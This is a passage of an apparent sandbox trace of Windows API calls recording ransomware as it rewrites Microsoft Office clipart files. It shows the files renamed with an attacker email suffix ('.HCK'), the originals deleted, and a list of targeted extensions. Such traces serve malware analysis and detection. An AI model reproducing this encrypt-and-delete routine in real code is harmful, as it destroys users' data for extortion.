returned 1 [0171.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf")) returned 1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".doc") returned 4 [0171.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".docx") returned 5 [0171.095] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.095] lstrlenW (lpString=".pdf") returned 4 [0171.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".xls") returned 4 [0171.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.095] lstrlenW (lpString=".xlsx") returned 5 [0171.095] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.095] lstrlenW (lpString=".ppt") returned 4 [0171.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".zip") returned 4 [0171.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.095] lstrlenW (lpString=".rar") returned 4 [0171.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".bz2") returned 4 [0171.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".7z") returned 3 [0171.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".dbf") returned 4 [0171.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".1cd") returned 4 [0171.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".jpg") returned 4 [0171.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.095] lstrlenW (lpString=".doc") returned 4 [0171.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".docx") returned 5 [0171.095] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.095] lstrlenW (lpString=".pdf") returned 4 [0171.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.095] lstrlenW (lpString=".xls") returned 4 [0171.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.096] lstrlenW (lpString=".xlsx") returned 5 [0171.096] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.096] lstrlenW (lpString=".ppt") returned 4 [0171.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.096] lstrlenW (lpString=".zip") returned 4 [0171.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.096] lstrlenW (lpString=".rar") returned 4 [0171.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.096] lstrlenW (lpString=".bz2") returned 4 [0171.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.096] lstrlenW (lpString=".7z") returned 3 [0171.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.096] lstrlenW (lpString=".dbf") returned 4 [0171.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.096] lstrlenW (lpString=".1cd") returned 4 [0171.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0171.096] lstrlenW (lpString=".jpg") returned 4 [0171.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.096] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.096] lstrlenW (lpString="J0232393.WMF") returned 12 [0171.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.101] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=27586) returned 1 [0171.101] CloseHandle (hObject=0x39c) returned 1 [0171.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf")) returned 0x220 [0171.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.113] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.113] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.121] GetLastError () returned 0x0 [0171.121] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6bc2, lpOverlapped=0x0) returned 1 [0171.123] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6bd0, lpOverlapped=0x0) returned 1 [0171.124] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.124] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.124] SetEndOfFile (hFile=0x308) returned 1 [0171.129] CloseHandle (hObject=0x308) returned 1 [0171.131] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.131] SetEndOfFile (hFile=0x378) returned 1 [0171.134] CloseHandle (hObject=0x378) returned 1 [0171.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf")) returned 1 [0171.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.138] lstrlenW (lpString=".doc") returned 4 [0171.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.138] lstrlenW (lpString=".docx") returned 5 [0171.138] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.138] lstrlenW (lpString=".pdf") returned 4 [0171.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.138] lstrlenW (lpString=".xls") returned 4 [0171.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.138] lstrlenW (lpString=".xlsx") returned 5 [0171.138] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.138] lstrlenW (lpString=".ppt") returned 4 [0171.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.138] lstrlenW (lpString=".zip") returned 4 [0171.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.138] lstrlenW (lpString=".rar") returned 4 [0171.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.138] lstrlenW (lpString=".bz2") returned 4 [0171.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString=".7z") returned 3 [0171.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".dbf") returned 4 [0171.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".1cd") returned 4 [0171.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".jpg") returned 4 [0171.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".doc") returned 4 [0171.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString=".docx") returned 5 [0171.139] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.139] lstrlenW (lpString=".pdf") returned 4 [0171.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString=".xls") returned 4 [0171.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.139] lstrlenW (lpString=".xlsx") returned 5 [0171.139] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.139] lstrlenW (lpString=".ppt") returned 4 [0171.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".zip") returned 4 [0171.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.139] lstrlenW (lpString=".rar") returned 4 [0171.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString=".bz2") returned 4 [0171.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString=".7z") returned 3 [0171.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".dbf") returned 4 [0171.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".1cd") returned 4 [0171.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0171.139] lstrlenW (lpString=".jpg") returned 4 [0171.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.139] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.139] lstrlenW (lpString="J0232803.WMF") returned 12 [0171.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.144] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=19942) returned 1 [0171.144] CloseHandle (hObject=0x388) returned 1 [0171.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf")) returned 0x220 [0171.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.151] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.151] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.158] GetLastError () returned 0x0 [0171.158] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4de6, lpOverlapped=0x0) returned 1 [0171.160] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0171.160] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.161] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.161] SetEndOfFile (hFile=0x2ec) returned 1 [0171.162] CloseHandle (hObject=0x2ec) returned 1 [0171.163] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.163] SetEndOfFile (hFile=0x364) returned 1 [0171.167] CloseHandle (hObject=0x364) returned 1 [0171.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf")) returned 1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".doc") returned 4 [0171.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString=".docx") returned 5 [0171.173] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.173] lstrlenW (lpString=".pdf") returned 4 [0171.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString=".xls") returned 4 [0171.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.173] lstrlenW (lpString=".xlsx") returned 5 [0171.173] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.173] lstrlenW (lpString=".ppt") returned 4 [0171.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".zip") returned 4 [0171.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.173] lstrlenW (lpString=".rar") returned 4 [0171.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString=".bz2") returned 4 [0171.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString=".7z") returned 3 [0171.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".dbf") returned 4 [0171.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".1cd") returned 4 [0171.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".jpg") returned 4 [0171.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.173] lstrlenW (lpString=".doc") returned 4 [0171.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.173] lstrlenW (lpString=".docx") returned 5 [0171.174] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.174] lstrlenW (lpString=".pdf") returned 4 [0171.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString=".xls") returned 4 [0171.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.174] lstrlenW (lpString=".xlsx") returned 5 [0171.174] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.174] lstrlenW (lpString=".ppt") returned 4 [0171.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.174] lstrlenW (lpString=".zip") returned 4 [0171.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.174] lstrlenW (lpString=".rar") returned 4 [0171.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString=".bz2") returned 4 [0171.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString=".7z") returned 3 [0171.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.174] lstrlenW (lpString=".dbf") returned 4 [0171.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.174] lstrlenW (lpString=".1cd") returned 4 [0171.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF") returned 68 [0171.174] lstrlenW (lpString=".jpg") returned 4 [0171.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.174] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.174] lstrlenW (lpString="J0234000.WMF") returned 12 [0171.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.181] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=52934) returned 1 [0171.181] CloseHandle (hObject=0x394) returned 1 [0171.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf")) returned 0x220 [0171.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.194] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.194] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.198] GetLastError () returned 0x0 [0171.198] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xcec6, lpOverlapped=0x0) returned 1 [0171.201] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xced0, lpOverlapped=0x0) returned 1 [0171.202] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.202] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.202] SetEndOfFile (hFile=0x370) returned 1 [0171.207] CloseHandle (hObject=0x370) returned 1 [0171.209] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.209] SetEndOfFile (hFile=0x39c) returned 1 [0171.214] CloseHandle (hObject=0x39c) returned 1 [0171.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf")) returned 1 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0171.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 